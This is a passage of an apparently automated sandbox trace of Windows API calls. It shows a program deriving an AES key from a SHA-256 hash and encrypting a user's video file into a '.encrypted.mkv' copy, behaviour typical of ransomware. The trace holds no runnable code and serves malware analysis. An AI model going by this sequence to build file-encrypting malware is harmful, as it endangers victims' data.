returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.643] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.643] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.643] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.643] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.643] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.644] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.644] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633e0) returned 1 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.644] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.644] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.645] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.645] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.645] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.645] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.645] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.645] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.645] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.645] CryptCreateHash (in: hProv=0xe8f40633e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.645] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.646] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.646] CryptHashData (hHash=0xe8f4062b10, pbData=0xe8f418b780, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.646] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.646] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.646] CryptDeriveKey (in: hProv=0xe8f40633e0, Algid=0x660e, hBaseData=0xe8f4062b10, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.646] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.646] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0029.646] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.647] CryptDestroyHash (hHash=0xe8f4062b10) returned 1 [0029.647] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.648] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\hvhtrrp5njjnr.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0029.648] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.648] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.648] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.649] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii")) returned 0x10 [0029.649] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\Y8VnMyJ1SxKqVr5jsJVF\\ptB8lEiYBAeDvwD-EiI\\hvHTrrP5NjJNr.encrypted.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\y8vnmyj1sxkqvr5jsjvf\\ptb8leiybaedvwd-eii\\hvhtrrp5njjnr.encrypted.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.649] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.651] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.651] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x9f0d, lpOverlapped=0x0) returned 1 [0029.652] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.654] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.655] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.655] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.655] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.655] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.655] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.656] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0029.656] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.656] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064c50, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c50*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.656] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.656] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.657] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.657] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 